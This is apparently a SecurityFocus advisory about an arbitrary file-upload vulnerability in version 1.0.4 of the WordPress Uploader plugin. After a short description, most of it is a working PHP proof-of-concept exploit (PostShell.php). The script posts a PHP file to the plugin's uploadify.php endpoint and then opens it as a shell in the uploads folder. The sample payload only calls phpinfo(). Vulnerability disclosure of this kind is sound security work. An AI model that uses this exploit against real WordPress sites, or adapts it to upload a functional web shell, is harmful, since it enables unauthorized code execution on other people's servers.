source: https://www.securityfocus.com/bid/57112/info

The Uploader plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

Uploader 1.0.4 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$uploadfile="lo.php";
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/uploader/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>"/wordpress/wp-content/uploads",
'fileext'=>'php'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.example.com/wordpress/wp-content/uploads/lo.php

lo.php
<?php
phpinfo();
?>